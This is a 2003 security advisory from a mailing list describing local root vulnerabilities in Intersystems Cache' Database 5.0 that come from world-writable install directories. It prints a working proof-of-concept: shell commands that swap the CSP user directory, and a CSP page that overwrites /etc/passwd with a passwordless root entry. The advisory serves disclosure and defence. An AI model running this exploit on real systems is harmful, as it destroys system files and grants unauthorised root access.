[UNIX] Intersystems Cache' Database Two Local Root Vulnerabilities

From: SecuriTeam (support_at_securiteam.com)
Date: 08/24/03

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    To: list@securiteam.com
    Date: 24 Aug 2003 17:27:39 +0200
    
    

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      Intersystems Cache' Database Two Local Root Vulnerabilities
    ------------------------------------------------------------------------

    SUMMARY

    " <http://www.intersystems.com> Cache', the post-relational database for
    e-applications, is optimized for the tougher demands of Web applications.
    It delivers breakthrough performance for massively scalable Web
    applications. Its rapid application development environment with advanced
    object technology lets you operate at Internet speed. Cache's ultra-fast
    SQL outperforms relational systems 20X. And its multidimensional
    application and data server delivers lightning-fast performance."

    The default installation of the Cache database yields poorly protected
    files and directories in the main package tree. Directories and files are
    open to all users as read write and execute.

    DETAILS

    Vulnerable systems:
     * Cache' Database version 5.0

    Local attackers can exploit this to manipulate directories and binaries
    inside the installation tree. This may be used by a local malicious user
    to gain root access. The content in /cachesys/csp/user is executed as root
    through the web interface. user's parent directory (csp) is world
    writeable allowing a local non root user to move user aside, copy its
    contents and create a new writeable user directory.

    mv /cachesys/csp/user /cachesys/csp/user.old
    cp -rp /cachesys/csp/user /cachesys/csp/user.old
    cp cspexp.csp /cachesys/csp/user
    lnyx http://localhost/csp/user/cspexp.csp
    su - cache

    <------------------cspexp.csp------------->

    < html>

    Intersystems Cache' local root exploit. Larry W. Cashdollar
    http://vapid.dhs.org

    Because of poor default file and directory permissions a local user can
    execute code as root via the cache CSP interpreter. <HR>
    Attempting to overwrite /etc/passwd with cache::0:0:root:/root:/bin/bash.

    < script language=Cache runat=server>

         Set cdef=##class(%Library.File).%New("/etc/passwd")
         Do cdef.Open("WSN")
         Do cdef.WriteLine("cache::0:0:root:/root:/bin/bash")
         Do cdef.%Close()

    </script>

    </html>

    <------------------cspexp.csp------------->

    Vendor response:
    See <http://www.intersystems.com/support/flash/index.html>
    http://www.intersystems.com/support/flash/index.html for additional
    details.

    ADDITIONAL INFORMATION

    The original advisory can be downloaded from:
    <http://vapid.dhs.org/cache.html> http://vapid.dhs.org/cache.html.

    The information has been provided by Larry W. Cashdollar.

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